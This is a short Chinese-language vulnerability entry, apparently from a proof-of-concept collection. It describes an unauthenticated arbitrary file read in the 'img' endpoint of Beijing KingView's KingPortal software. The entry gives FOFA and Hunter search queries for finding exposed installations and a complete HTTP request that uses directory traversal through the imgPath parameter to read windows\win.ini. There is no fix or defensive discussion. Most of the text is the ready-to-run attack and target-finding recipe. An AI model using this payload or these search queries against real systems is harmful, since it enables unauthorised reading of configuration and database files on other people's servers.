## 北京亚控科技img任意文件读取漏洞

KingPortal客户端开发系统 img 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

## fofa

```javascript
body="/public/javascripts/Common/Util/km_util.js"
```

## Hunter

```javascript
web.title="KingPortal"
```

## poc

```javascript
GET /kingclient/img?imgPath=..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
```

![image-20241101191735975](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202411011917039.png)